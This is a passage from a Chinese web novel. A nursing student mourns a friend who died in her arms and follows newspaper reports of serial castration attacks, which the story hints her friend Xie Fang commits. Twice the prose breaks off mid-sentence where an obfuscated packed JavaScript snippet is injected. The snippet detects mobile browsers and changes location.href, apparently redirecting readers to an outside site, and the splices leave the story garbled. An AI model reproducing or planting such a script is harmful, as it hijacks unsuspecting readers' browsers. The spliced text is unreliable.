红梅却想到什么:“你家有装被褥的蛇皮袋子吗?” 邬眉指挥红梅找到袋子,红梅便用剪刀划开,摊在半边床上,躺了上去。邬眉在另半侧,思来想去还是想赶红梅出门,一只胳膊搂在她背上,轻柔地拍着,驱赶的话怎么也说不出来了。 “还烧着呢……邬眉啊,怎么什么都自己扛呢。”红梅喃喃地说。 邬眉没接话,安静一会儿,说:“我就不关灯了,你看着点,别被传染。” “我是专业的,放心吧。” 隔着蛇皮袋子,红梅的头倚着邬眉的肩膀,灯泡挂在半空,亮如白昼。红梅很快就想起过年前,她们也是这样睡的:邬眉睡前占的地方再大,最后总是让着她。 有好多话想说,又不知从何说起。 邬眉忽然开口:“我的照片底片还在你那吧?” “当然。” “洗几张出来,给我当遗像。” “好。” “你,好好学习,别再去打工了,钱应该够你念书吃饭了,不够,你就跟我弟弟要一点,说是我的遗嘱。他不会说什么的。” “好。” “你就不问我为什么把底片给你吗?” “为什么?” “带着它吧,就像带着我。上大学也好,工作也好,去哪里都可以,带我看一看吧。” 不知不觉间,泪又落下,红梅应着:“好。” “我这辈子,最得意的事情,是听到被亲戚安排好的人生之后,带着弟弟,逃离了那种人生。没有任何筹码,直接莽,莽出一条路。社会上需要什么呢?男人的力气,女人的漂亮。如果再要更好的人生,必须念书。所以你要听我的,好好念书。我都能在省城生存,你一定可以。但这样不够,你得去北京,你得走遍全中国。你不是会英语吗,去外国看一看,跟外国人说一说……你得过上这样的日子啊,红梅。” “我一定会的。” “我弟弟,是个懂事的。往后,如果他走错路,你就替我训他。” “好。” 邬眉呼吸逐渐悠长,像渐渐入睡了。红梅搂着她,将每一件承诺背记在胸口,也渐渐睡着。 日光落在地面和床铺,也落在二人身上。红梅在蛇皮袋子上扭扭身子,记起前一晚的事,摸向邬眉的额头,下意识惊喜道:“退烧啦,邬眉。” 邬眉却没有回答。 “邬眉?” 红梅呼唤着她的名字,不见回应。迟疑许久,才反应过来,手指探向邬眉的鼻端,又不死心地,摸向脖颈。心骤然跟指尖一样凉。 “邬眉。” 她念着她的名字,潸然泪下。她一时竟不知该做什么,环顾空荡荡的房,她看到衣柜,想起邬眉前一天想要的东西。她打开它。衣柜里仅有一个木箱子。她打开木箱,最上的两页信纸替她安排好所有事情顺序,再下的纸张,她掏出来,一一看去。 邬眉,户口,出生于一九七四年九月。 “你居然让我叫你姐,我比你大两个月。”红梅哭着说。 邬眉,三好学生奖状,两张,落款于一九八四年,一九八八年。 “是小学、初中的证书吗?”红梅问,却没人回答。 小学毕业证,邬眉,团员。 初中学生证,邬眉,只有入学日期。 结婚证,邬眉,一九九三年一月。 几本小说,书页磨出了毛边,页脚磨成圆形,看上去已经被读了很久,却被主人爱惜地包着牛皮纸外衣,邬眉两个字只占了很小一角,生怕被人看见。 取出这些东西,看清垫在最下头的织物,红梅再也忍不住,放声大哭。 一条围巾,针脚很拙略,透着初学者的勤勉。卖相是没有的,却胜在足够长,足够厚。即便是丑,它也想温暖一个人,做不到保护,也要撑过每一场寒冬。 20. 作案 红梅看着一堆药片心里发怵,在谢芳威胁似的眼神里,还是老老实实抓起一把,咽下去,直到小碟子清空,谢芳表情才好起来,端上一盘绿豆糕。 “说到哪了?继续。”谢芳捏起一块绿豆糕,给红梅添茶水。 “然后我就联系律师,等他到了联系殡仪馆。我原本想先放在那里,等邬勇高考完再进行火化。但殡仪馆没法通融……我只好把她先火化了,烧点纸钱。邬眉那些文件,我想等邬勇高考完,我们一起去见她的时候,再处理罢……你说这样合适吗?” “即使是医院也不能处理得更好啦,你在担心什么呢?” “说不清。我只觉得难过。如果她父母没死,她是不是也能像你和我一样,考上高中,考上大学呢?不用去那种地方打工,也……” “但世上没有如果,你知道。” 红梅低着头,在茶水圆融的晃动里承认:“嗯。” “艾滋病阻断药,好好吃。不管怎么说,你别因为同情她,把自个儿的健康搭上了。她呕血,你还跟她睡一张床,你怎么敢的。” “幸好我这么做了,不然她走的时候一个人都没有,我才会抱憾终生的。” “你吧……” 处理完邬眉的事情,红梅先回学校报道,跟医务室申请了阻断药。只有这天来找谢芳赶得急,早上没吃,却没曾想谢芳也囤了满满的药,就等着她自投罗网呢。 “这周过得跟做梦一样。”红梅跟好友感叹道。 “我也这么觉得。”谢芳说着,拿起报纸给红梅。 报纸头版头条:第三起阉割男人案件细节公布。 继两次男子生殖器被扔在人民广场后,警察在广场周遭严密布置,犯罪者也学乖了,将男子生殖器扔在了火车站垃圾桶。正午时节车站迎来送往,人流量巨大,被换班的保洁发现后,立刻报告给了警方。犯人仍然未被发现,为了获取线索,警方在悬赏中公布了更多案件细节,也引来众多讨论: 第一次作案时间是4月初,受害人,男,20岁,某校大学生,案发当夜在欧式街酒吧醉酒,途径一处小巷醉倒街头,被巡逻警察看到时生殖器已被阉割,虽及时送到医院无生命危险,但生殖器当时未找到,无法接上。于三日后在人民广场座椅处,用白色帆布包裹住,被路过市民拾得。 第二次作案时间是4月下旬,受害人,男,21岁,社会人士,案发当夜在自家喝酒,醉酒后上床入睡,醒来发现生殖器丢失,主动到医院急诊并报案,生殖器同样于两天后被丢弃在人民广场喷泉旁,用透明塑料袋包裹,被晨练市民发现并报警。 “第三次……昨晚?”红梅念叨着,继续往下看。 第三次作案时间,5月初,受害人,男,19岁,某校大学生。案发当夜在家庭聚餐后独自回家,在烧烤店停留半小时就餐,喝了啤酒,而后回家途中失去意识,醒来后发现自行报警。生殖器隔天在火车站垃圾桶被发现。 红梅看得直摇头:“这么看来……受害人和犯罪者,果然是有仇吧。” “为什么这么想?”谢芳问。 “你看,每个受害人案发场所,都是他们熟悉的区域:回家路上、家里。犯罪者应该是跟了他们好久,才找到他们喝了酒的时机,趁他们不备下手的。而且应该具备一定医学知识。” “为什么?” “第一,照片切口很整齐,像只用了一刀,没有伤及周围皮肤或者器官。第二,任何器官离开母体一定时间内,还是有补回去正常使用的机会的。他切下来器官没有扔在旁边,而是说带走,隔了一天才会放在街头,这是故意杜绝这种机会……这么蓄意蹲点,又充满侮辱性意味,不是有仇,还能是什么?” “那你说,为什么结仇呢?” “呃……这就难说了。他们三个男人,都是二十岁左右,能做什么事,让对方为了报复,把生殖器都割掉呢……如果他们三个人互相认识,又是一起作案,无论做了什么……暴力的结果,都不会好看。” 红梅声音戛然而止。她心中隐隐有一个猜测:生殖器与性有关,如果是性…… “干嘛欲言又止的?”谢芳调侃好友。 “唉,我就老实说了吧。我猜这个故意伤人案,是另一起案件的结果;他们在这里是被害者,在那里是加害者。如果我猜得没错,这很可能就是……就是……” “轮.奸案。” 谢芳把红梅支支吾吾说不出来的词汇,果断地说了出来。 红梅干笑:“希望不是。我宁愿只是阳痿男人见不得年轻男人才下手呢。” “为什么会想到那种案件?” “我曾经跟你说过吧,农村的女孩子,如果不像我这样,被父母鼓励继续读书;也不是父母做主,早早婚嫁,等年龄到了就去领证。还有一种可能……是无人照看的情况下,被男人觊觎,诱拐,□□,生孩子……” “没人管吗?” “无人照看的女孩,大多智力有点问题,说亲说不出去,扔给爷爷奶奶辈照看。爷爷奶奶辈还要下田,没法一直看着……就会有这样的事发生。管……怎么管呢。同一个村子几乎都是亲戚,让谁去抓呢。抓了人,母亲照看不了,孩子又要怎么办?所以即使我知道,也做不了什么。” 谢芳忽而一笑,笑得红梅不解:“看来不论到哪都一样。女孩想健康成长,得有靠谱父母,如果父母都不能为女孩出头……那就没办法了。” “为什么这么说?” “城里也有你说的那种女孩,因为一点东西被诱拐,多次□□,肚子大了都不知道理由,还以为生病了。也付不起医药费,就不去医院。足月了,就在厕所,宿舍,或者任何地方生下孩子,遗弃。直到警察找上门,才能倒推过去都发生了什么。即使知道了缘由,并不能做什么,孩子需要生活,母亲也要生活,本该判几年的刑,总能被一再减轻,最后降低到可笑的程度。” 凝滞的时空里,红梅叹口气,随后笑起来。 “笑什么?”谢芳问。 “过去的事难以追及,起码从我们开始,把事情纠正了吧。如果我的孩子被欺负了,我拼了这条命,也不会让对方好过的。” 谢芳莞尔一笑:“你会是个好母亲的。” “这跟我会不会成为母亲无关。我只是觉得,世上最朴素的道理,是一报还一报。报复并不能让事情回到起点,但如果坏人没得到应有的惩罚,报复就是唯一能慰藉人心的东西了。我是说,总得有一个地方,公平吧。” “我觉得,认识你,也是我人生的幸事。红梅。” 一片沉寂中,谢芳突然说。 红梅摸不着头脑:“可我没能为你做什么啊?” “你的存在,就足够让我开心啦。” “但说了这么多,不都是猜测吗?还是希望,不要发生那种事吧。” 这天的叹息像化解了不知名凶手的心结,直到高考结束,凶手都没有再次犯案,像报复只到这里就结束了。剩下的时间平静无波,红梅也只是更投入到学习中,周末去探望谢芳,考试,看小说。 高考最后一天,红梅依照邬眉的指示,举着牌子,到附中门口等人:邬勇住校,考完试唯一能落脚的地方只有学校。 不多时便被她等到了,高大清瘦一个男孩,穿着校服,干净得当。跟邬眉果然是亲姐弟似的,姐姐漂亮,弟弟英俊。 男孩见到牌子靠了过来,视线在红梅身上落了几秒,便四下张望起来,嘴上念道:“我姐呢?” “你姐叫什么名字?”红梅问。 “邬眉。画眉鸟的眉。”男孩不悦道。 “她的生日是?” “一九七四年九月十九。”男孩反问,“你是谁?我姐呢?她答应等我高考完就接我的。她去哪了?” 邬勇的问题连珠炮似的,让红梅确定下来。她收起牌子,一如收起戒备,慢慢回答:“我是你姐的朋友,我叫刘红梅。你知道我吗?” “我姐跟我提过你,你在省医学院念书,护理系,年年第一。” “那就没错了,我在旁边饭馆点了菜,我们坐下说。” 邬勇将信将疑跟红梅到饭馆,见红梅进了包厢,步履又是一滞,站在门口问:“我姐呢?” 红梅指着身旁的座位:“坐下说。” “我们不熟,有些话我就明说了:我知道我姐为了赚钱养我,跟什么人混。为了自保,找的男人也是那种……那种……”邬勇咽了干沫,话锋一转,“这不代表我会听你们的,我会保护我姐,尽我所能。” “你姐有两张三好学生奖状,一张是小学取得的,一张是初中得到的。她喜欢看小说,有一套,小小的,用牛皮纸包着。我没说错吧?” 沉默许久,邬勇才踏进门,把书包放在椅子上:“她还留着啊。” “她没说过从哪买的。” “我送的。我们高中是省内第一,期中期末考到第一,有奖学金。我买了送她当生日礼物的。可惜我只考过一次第一,再没能给她买点什么。既然你知道这些,你和我姐的关系,我没什么疑问了。” “明天我带你去找她,先吃饭吧。” 菜早就点好的,炖肉,炖菜,凉菜,鲜香的口,气味四散开。两瓶大窑嘉宾上桌,男孩这才开心起来,开一瓶,先给红梅放在手边,才喂进自己嘴里,连着喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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墓园在城南,邬眉选了极好的址,僻静又安逸。邬勇跪在碑前,烧着纸钱,嘴里不停地念。 “姐啊…… “下辈子,一定,一定,要来找我。” 此后的几天,房屋过户,存款过户。律师拿到了律师费,红梅也得到了报酬。邬勇沉默着接受一切,直到所有事情都结束,红梅带他走出银行,揣着八百块,依然想还给邬勇。 没等她开口,邬勇就知道她要说什么了:“拿着吧。” 红梅再没推辞,将邬眉的证件和奖状,连同照片,交给了邬勇:“我把我织的围巾,小说,和这些证件的复印件烧给了她……这些,我想还是给你吧。” 邬勇收下:“小说确实得给她。我一个男人拿着言情小说,还是挺怪的。” 二人对视一眼,一丝极浅的笑意,转瞬即逝。 “以后,我得替你姐管教你啦。” “嗯。” 炎炎夏日以无数考试终结,放了假,红梅向父母告知缘由后便留在宿舍:一为了照看邬勇,等待高考成绩,二是为了跟谢芳说说话。她从保姆处得知,谢芳可以一整天不张口,唯一会开口的时候,就是她去拜访的时刻。 “什么时候回学校?” 东扯西扯完,红梅还是会问,一向避而不谈的谢芳突然回答:“大二开学吧。” “太好了!可是你大一下学期的课怎么办呢……” “大学课程的本质是拿学分,只要修够学分就能毕业。三年学完四年的课,也可以提前毕业。落了就补嘛,没什么的。” “那开学见。” “好。” 收到谢芳的承诺,另一头,邬勇的通知书也下来了,第一时间通知红梅。录取学校果然是警察学院,排名第一,同样的分数报考任意一所九八五院校,都不是问题。 “我就是为了当警察,才考这么高的分。只要目的达到,就不是浪费。” 对此,邬勇这么说。 可当通知书到手边,红梅还是忍不住感叹:“北京啊……那么远。” 开学时间冲突,她没法送他。 “我一个人没问题,放心吧。我可先带我姐去北京了,给你探探路,回头放了假,我带红梅姐在北京玩啊。”邬勇笑着说。 九月,红梅送邬勇上火车站,等来了邬勇保平安的明信片,和联系用的座机电话。谢芳回到学校,跟红梅恢复了形影不离念书的日子,红梅欣喜地发现她甚至能够辅导谢芳一两门课程:这可是为数不多她能帮谢芳的事情,学习的劲头就更加足了。 除了每天有轿车在校门口接送谢芳,一切看起来都跟一年前一样。 但还是不同。 开学后第二周的周一,新闻报纸头版头条都是:时隔四个月,第四个男子生殖器丢在街头。 21. 生日 是女人的直觉?还是谢芳的旷课在复学后自习时偶尔的出神,给了红梅足够的警戒? 红梅说不上来。 午日阳光温和地撒在身上,神经就染上片刻倦怠。她决定偷个懒,在下课前溜出教室,等在谢芳班级门前,想和朋友久违地一起吃个午饭。下课铃响起,人们三三两两走掉,连躲着她的刘勇都磨磨蹭蹭离席,教室里空无一人,丝毫没有谢芳的踪迹。 红梅心底奇异地生出果然的感觉,对着空虚叹气。 人流匆匆奔赴食堂吃午饭,生怕慢一步,想吃的菜色就会被抢光。只有红梅慢慢走在砖铺就的道路上,漫无目的,盯着自己的鞋尖,思绪漂流。 感觉哪里不对。 是哪里呢? 是因为得到邬眉的馈赠后,帮她照看省心的弟弟,不用再去打工赚钱,钱来得太容易,内心不安吗? 还是谢芳每一次欲言又止,最后望向她,眼神里的东西,并不向从前那样,平等、温柔又友善,而变成了一种隐隐约约的包容呢? 她太弱小了,从来没能为她们做什么。 如果谢芳真的有什么事,连倾诉都起不了作用,那她…… “呀,刘红梅,看路。” 一个亲切慈祥的男声响起,红梅猛地抬头,两米外是一堵墙,灰扑扑的,斑驳着墙皮。 “谢谢。” 道谢先从嘴中溜出,她后知后觉地看向声音的来源:教导处的刘欢老师。 刘欢笑吟吟地向她走来几步,她下意识想后退,又被理智劝阻:刘老师对她还算不错的,没必要。接着又想起,这戒备缘起还是谢芳。有刘欢的场合,谢芳身上隐隐的倒刺就要竖起,活像刺猬。 “我正要找你:晚上打算几点过去?你们六点下课,你早出教室半小时,我载你过去吧,我咋也是要跑一趟的,捎上你,顺便的。”刘欢如是说着。 看到红梅脸上的迷惑,刘欢略一思索,才解释道:“今天芳芳生日,顺便订婚,我看芳芳平时玩的好的小姑娘都有请帖,没叫你去吗?” 红梅没什么表情,眼睛眨了眨。 “嗨。”一目了然,刘主任就生出客套话来,“这样也挺好,订婚宴还得搭礼金进去,一次就搭进去二三十,一个月工资呢。要是没请你,也别觉得有啥,八成芳芳想给你省钱吧,结婚时候再去也一样,啊。回头见。” 男人安抚似的拍拍红梅肩膀,走向食堂。 红梅呆呆站在原地,怔怔盯着刘欢消失的方向,步子千钧重似的,久久迈不开腿,脑子里一团乱麻。 芳芳? 订婚? 最后还是这样? 芳芳的生日?她从来没告诉她过。 农村过农历生日,具体是哪天还得跟公历换算。红梅不算生日,就是为了不过生日,省下请客吃蛋糕、收礼物、日后回赠的花销。如果在家过,爸妈特地炒个肉菜,吃碗长寿面,就也算过了。久而久之她就忘了,别人是过生日的,请客吃饭、收送礼物是正常的。 她跟芳芳说过的。 接着她忽然就想起,暑假的某个平常日子,她跑去找谢芳聊天,谢芳拿奶油蛋糕招待她,难得聊起从小到大许过的愿望。她一再重复,“我要好好毕业,在城里找到工作,买到房子,把父母接进城,不种地了”。庸俗,平实,一切尽在计划之中。谢芳笑眯眯地听,调侃她,即使过了一年,红梅还像她们初见那样,一点都没变。 “人哪有那么容易改变呢?就像你,愿望肯定还是我们最初见面那样:成为最好的妇产科医生吧?” 她竭力回忆,那天她吃了好几块奶油蛋糕,喝了馨香的茶水,但那一天谢芳有没有对她说的话点头,还是说了别的愿望,她一点都想不起来了。 原来,她没问过谢芳,谢芳却从没忘记她的。 虽然很想见证好友人生的大日子,但刘主任说的也没错,礼金二三十块,对她来说是很沉重的负担。自己赚的,带邬眉赠予的,足够她度过剩下的三年,算上学生补助,还能剩余很多。但想想那些被赋予的期盼,她是没资格乱花的。 谢芳没有邀请她,于情于理,合情合理。 理智上,红梅被说服了。 但站在太阳底下,她陡然觉得冷。 不饿,就没去食堂。她飞速回到宿舍,躺在床上。 起初平躺着,板板正正,手规矩地放在两侧,这是她的习惯睡姿,却横竖感到不对劲。手放在腹部,又举在头顶,而后侧卧,还是趴着。她蜷缩在小小的床铺,盖着温暖的被子,难掩不知为何的难过。甚至怨怼起来:要是家里能再有钱一点就好了。不用像应晚那样,身上都是进口货,稀罕金贵得紧,只要稍微好一点,像王锦那样,不用发愁吃饭就好了。她就不至于为了省钱,连生日都不敢过,让朋友顾及这那。 一个奶油蛋糕,能花多少钱呢? 可是想起过年时父母落在饭里的泪,她又什么都不能抱怨了:她已经走得足够远了。 已经没有可以怨恨的东西了。 眼角陡然落下泪来,她把被子蒙在头上,哭得毫无缘由。哭累了她就渐渐睡去,做了一个梦,梦里谢芳等在她的教室门口,俩人吃了一顿饭,久违地坐在花园里,晒着大太阳,什么都不做。她在幻觉里,做一场清醒的梦,不愿意醒来。 直到宿舍门“通——”地被人踹开,有个人扒着墙进门,碰倒了一地东西,叮铃桄榔的,红梅才意识回归清醒,从床上爬起来,看发生了什么:进门的是应晚,捂着肚子,面色惨白,上气不接下气,一看就不对劲。 红梅赶忙下床,把扶着门框的应晚扶到自己的床位,靠着被褥瘫着。应晚嘴形说着谢谢,有气无力,甚至没发出声音。红梅赶忙冲一杯热红糖水端给她,应晚喝下半杯,面色才好一些。 “怎么了?痛经吗?”红梅问。 “不是。”应晚的怒气被病痛磨平了,只剩下烦躁,“拉肚子,我怀疑中午在食堂吃的饭有问题,吃完半个小时,拉了五六回了,现在能拉的只有水。” “还闹肚子吗?” “还拧着疼。” “你有药吗?” “我只有健胃消食的,治拉肚子的得去校医室买吧。” 应晚死死捂着肚子,闭目养神。红梅看着她桌上的钟,一点四十,下午课就快开始了。 “你一个人行吗?”红梅问。 红梅话音未落,应晚立刻站起来,拉开宿舍门就跑。红梅望着她身影消失在厕所,还有巨大的放屁声,好笑地叹口气。 这就不好让应晚一个人待着了。 等应晚再次从厕所扶着墙出来,红梅等在宿舍,又冲好一杯糖水,看着应晚喝下,她就扶着应晚去校医室。然而没到门口,就见到一走廊同样虚弱的同学们,应晚表情更加崩溃,红梅让她坐在楼梯间休息,独自去校医室问情况。 床位同样满着,都是打吊瓶的人,女老师应付着,也焦头烂额:“这是食物中毒。哎,校医室又不是药店,也就十来袋泻立停,早就卖完了。这会儿前前后后来了五六十人,我怎么弄?开卡车都拉医院去啊?没法弄。拉完就没事了,多喝糖水,注意别低血糖在哪儿磕了碰了就成,啊。” 红梅转述给应晚,应晚表情十分难看。随即她不知做了什么重大决定,手颤颤巍巍掏出带着粉色蝴蝶结的猫咪钱包,把一枚硬币交给红梅:“快……帮我打电话,打120……” 受人之托,红梅就去打了附属医院的电话,顺带把药物需求告诉热线。救护车来了,也把药带了来,走廊上没药的需求勉强得到解决,红梅就陪着应晚去医院了。 救护车图快就颠簸,急转弯,应晚的头磕到车内侧,她捂着头默念:“我真是够了。” 离医院就剩一个红绿灯,车陡然刹住,应晚紧紧捂着肚子,像这样能镇压过敏反应,把肠子捋顺似的,空气里突然一股味道,应晚急忙把上衣往下拉。 红梅假装不知道,随车医生笑,应晚就更加难受了。 “没事儿,这床上啥情况都有。还能活蹦乱跳就烧高香吧。”医生不算安慰地说,“你们是医学院哪个系的?” “护理系。”红梅回答。 “那就更没事儿了,处理屎尿屁而已,不比开膛、缝皮、接器官、切瘤子简单?” 医生没当回事,当事人却不会这么想。 到了医院,开车门交接病人,随车医生就又上了车,跟着鸣笛去下一个地方;护士把应晚拉去急诊区,安排打针吊水,就也忙别的去了。 只剩下应晚和红梅的时候,应晚就忍不住哭起来。 红梅以为她穿着脏衣服不舒服,就去找护士长借一条裤子:“我帮你换衣服吧?” “我自己能换,你出去一下好吗。” 这是多大委屈,就有多大宽待。红梅给她拉好帘子,听着窸窸窣窣的换衣服声,应晚说“我换好了”,才进去。 脏裤子被丢在便盆里,除了脏,还是挺新的。 都翘课了,索性送佛送到西。红梅问:“我帮你洗了吧?今天风大,晚上也许就干了。” “不,我不要了。”应晚缩在被子里,声音都蒙蒙的,“帮我扔了吧。” “住院服要还的呀。” “我买就行了。” 吊着水也没消停,在止泻药彻底发挥作用前,红梅陪着应晚又上了几趟厕所,最后一趟回床上,应晚连抬腿的力气都没了,累到倒头直接睡着。 红梅看着水吊完,告知护士。 护士熟练拔掉针,嘱咐红梅:“醒来以后,不拉肚子就可以回了。医学院能出食品安全事故,传出去还怎么做医学院,要威信不啦?我们财政在养一堆管不了自己嘴的医生?谢院长最近忙啥呢?成天儿的也不在医院,真是。” 牢骚过耳,在意不得,红梅能做的就剩等待,看着急诊区默默发呆:急匆匆推过一张床,去走廊尽头,是急诊手术室吧;一个医生压在患者胸部做人工呼吸,身上没沾血,可能是休克吧;绷带绑着头的患者,鼻青脸肿的,打架见血了吗;拄拐打石膏一点一点挪过门口的人,又经历了什么呢? 能走的比不能走的强,能呼吸的比不能呼吸的强,有意识比没意识的强。 健康就是这种东西,你平时可以毫不在意,却能在某些时刻,让任何高高在上变得无依无靠。自尊碾碎在地,只剩你从未察觉或毫不在意的规律,作用在你无法扭转的地方,听天由命。 所以,能救人的医学了不起。做医生了不起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026858|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护士也很棒。 红梅有一些自豪感,却只有一半。 秋末冬初,夜幕降临得快。七点半,应晚睡醒,身体没什么大碍,但还想留一晚,说有别的打算。红梅就不好再陪着了,跟她告别,预备回学校。她刚出急诊区的门,就看到一个熟悉的身影,追着带滚轮的床,飞奔而来。 “芳芳?” 红梅意外,下意识叫出来。 谢芳同样意外,停在几步外。她看着床进入手术间,红灯亮起,才舒了口气,走回红梅身边。 “你怎么在急诊?哪里不舒服吗?” “不是我不舒服,是我室友。咱们学校好像出了食物中毒事件,校医室床位早就满了,我送她过来。”红梅回答。 “怪不得我爸妈提前走了,原来是这样。” 谢芳穿着得体的连衣裙,还有高跟鞋,头发梳成新娘那般,珍珠发卡典雅又可爱,手里的棕色皮包应当是一套衣服的配饰。 谢芳倚在墙上,捶着小腿,不及红梅开口问,身旁又多出来一个中年女人:穿着同样时髦,戴着珍珠项链,手上的金镯子灿灿生辉。 妇人焦急地冲往手术间,想看个一二,被护士拦下,才讪讪走到谢芳身边:“这。” “出血不严重,您别担心。”谢芳微笑着开口,对妇人说,又跟红梅介绍,“这是我婆婆,朱女士。” 红梅只好跟对方打招呼:“您好。” “你就是红梅呀,芳芳跟我说过你。”朱女士汗流如注,神色不能更慌张,“芳芳啊,今天这个事,你放心,一定会有交代的,啊,别着急退……” “您别急,订婚不是还没结束吗,两家人坐在一起好商量就好了。”谢芳彬彬有礼答道,“只是真不巧,我们学校出了食品安全事故,我爸妈才离开的。一会儿打个电话,我们坐下来慢慢说。” “诶,芳芳,要是不行,我们也不会耽误你的。这事儿我能给你做主,我话放在这了。” “您别担心,我们看手术进展,还有机会。”谢芳安慰妇人道。 不知道谢芳的婚宴发生了什么,但留在这,感觉不像话。 红梅想着要告辞回学校,脚步刚一挪,被谢芳拉住袖子。她茫然地望去,谢芳轻轻摇头,像不让她走的意思。 既然是谢芳。 红梅轻轻点头,谢芳放开她,双手扶在妇人肩膀,妇人啜泣的哀怨之声不绝于耳,荡在走廊。 “怎么会有这种事啊,我的儿子,我善良的儿子……” 话虽这么说,红梅却看到谢芳的嘴角微微扬起,带着讥诮。 不多时手术室门打开,床被推出来,主刀医生大汗淋漓地走出来,被妇人差点扑倒:“我儿子怎么样了?怎么样?” 主刀医生开口劝慰:“您别这么急,急也没办法了,这情况只有一种可能。” “还有救吗?还能?” “我给您说,过了今晚,他的器官找不回来,就看开点吧。” 妇人像垮了一样蹲坐在地,医生直摇头,只能走开了。 器官?难道…… 红梅有一些猜测。 等妇人稍微有点力气,红梅陪谢芳把她扶进病房。躺在床上的男人是有几分英俊,红梅看了一眼,并不在意。加钱住单人间,地方就宽敞一点,妇人哭得连连气喘,眼有呼吸性碱中毒预兆,红梅刚想帮两把,手刚抬起,就被谢芳握住。 “朱阿姨,我回去跟我爸妈商量一下,很快回来,您也知道我妈在这工作,我去看看有什么能做的。” “芳芳,还是你好。” “您忙一晚上,什么都没吃吧,我包里有吃的,给您留下,您过会儿自己拿好吗。” “唉,我哪吃得下。芳芳,去吧,有心啦。” 谢芳把包放在床头柜里,便拉着红梅出了病房。红梅有一肚子话想说,却什么都说不出口,任由谢芳拉着她,走出急诊区,左拐右拐,谢芳轻车熟路地推开一扇扇门,遇上的人越来越少。 她们在一扇门前停住脚步,门上三个大字,太平间。 “怕吗?”一晚没有交流之后,谢芳突然扭头,这样问红梅。 “怕什么呢?他们也是别人的亲人啊。”红梅反问。 谢芳赞许地对红梅微笑,极富技巧地旋着门把,门咔哒一声便开了,她钻了进去。红梅隐隐心虚,望望周围,放风一样。好在谢芳很快就出来了,提着一个小巧的盒子,透明塑料壳子,藏不住内容物的形状。 红梅些许吃惊:“你在这里藏蛋糕?” 谢芳乐道:“敢吃吗?” “为什么不敢呢?太平间比医院任何环境都抗菌?” “那就让我们一起,谢谢大体老师们,帮我看着它。” 谢芳双手合十的样子格外虔诚,红梅只好一起,念出同样的话。 谢芳左手牵着红梅,右手提着蛋糕,很快出了医院正门。走到大门前,谢芳以“今晚留在这不用车了”为由打发了司机。看着车消失在街角。 红梅突兀地说:“生日快乐。” 谢芳轻快地笑,扬扬手里的蛋糕:“陪我回学校吧?走回去?” “好啊。” 今天是谢芳的生日,她有什么不能答应她的呢? 22. 歌谣 附属医院回省医学院的路,她们一起走过很多次。 这一次,谢芳左手牵着她,右手提着生日蛋糕。 谢芳打扮得十足端庄漂亮,面色却满是沉郁。她步伐坚毅得像个战士,与拿到药品松口气的患者大相径庭。 仿佛这不是就诊结束,前头还有漫长的征程。 也是,学校出了重大食品安全事故,未婚夫又躺在急救室,她怎么高兴的起来。 红梅体察着好友的沉默,努力跨大步跟上她的步调。 天色已是黄昏。 寒风吹过,泛黄秋叶簌簌而落,坚毅倚在树枝上的伶仃几片,已是枯木难支。她们走过成片救治伤者的病房,穿过神色焦虑的患者家属,掠过忙成一团的医护站和药剂室,畅通无阻地来到了附属医院大门口。 一路沉默,只是彻底离开医院大门时,谢芳忽然止了步,扬头望向医院大楼。 红梅跟着回望,大楼还是那副样子,连缀着无数人的过去、现在与未来。是她们毕业后的职场,也是救死扶伤的擂台。 一切都跟昨天一样。 整栋楼忽然灯火通明,预示着医院晚间时刻开场。明亮光辉将黄昏迟暮的昏灰驱散,夜晚并不是可怖冰冷的,人只要团结在一起,文明总会欣欣向荣。 “怎么了?” 回校的行程卡在此处,红梅看向好友。穿着与往日朴素服装的完全不同的谢芳,依然面无表情,闭了闭眼,像熄灭了什么似的,轻轻摇头。 “没事,我们回去吧。” 风还是很凉。 黄昏街灯将两人影子捉出万般变化,源于她们自身的暗影捉迷藏似的,有时在身后,有时踩在脚下,有时指向前路。 返程路上为数不多的乐趣,也不需要用金钱衡量。 没戴围巾,冷风便衬着衣角领口钻入身体,红梅渐渐手变得冰凉,唯一的热源来自谢芳。 红梅恍惚想起她们第一次见面,风疏雨骤的一天,谢芳像刺破阴云的阳光一样,重新为她带来温暖。 感谢的话油然而出:“谢谢你呀,芳芳。” 谢芳顿时刹住脚步,牵着她的手也自然放开,审视般看向她:“谢我什么?” 从来没见过她这副样子,红梅心头突地一跳。 路灯在头顶打着锥形的光,秋叶从中纷沓而过,零碎在黑暗角落,指尖仅存的温度被连根带走。 红梅嘴唇蠕动片刻,弱声答:“我想起我们第一次见面,你也是这样帮我暖手的。” 谢芳定定地看着她许久,随即低下头去,把所有情绪隐藏在阴影里。 红梅试着安慰她:“今天的事,也不是你想要发生的,就不要把责任揽在自己身上了。这不是你的错。” 谢芳忽地抬头,嘴角扬起的笑容凛冽而生硬:“你是说哪件事?” “学校食堂出问题,还有你本来要订婚,你的未婚夫出事了。”红梅努力宽慰友人,“别的日子也就算了,至少在今天,只为自己考虑吧……祝你生日快乐呀。” 对视之际,红梅明亮眼睛盼着,谢芳怔怔看着。 不知在寒风里站了多久,谢芳冷峻表情才变得柔和。她移开眼望向周遭几乎无人的街头,许多光芒在她眼中流过,最终却只剩黑白分明的眸子,对一切冷眼旁观着。 “谢谢。” 顿了顿又说:“我们快点回学校吧。” 红梅笑起来:“嗯。” 于是两个人再次牵手,迈着相同的步子,齐心协力冲回学校。 从小门回校,门卫大爷见了谢芳直喊:“芳芳订婚快乐呀!” 谢芳置若罔闻,牵着红梅就走。 冷遇叫门卫大爷一愣,红梅回头打圆场:“今天发生太多事,芳芳很累了,回头见呀。” 大爷诶一声,就被她们甩在身后。 穿过无人广场,宣传栏,飞扬的红旗台,迎面便是教学楼。下午课早就结束,教学楼完全没人,只有走廊的灯还在亮着。 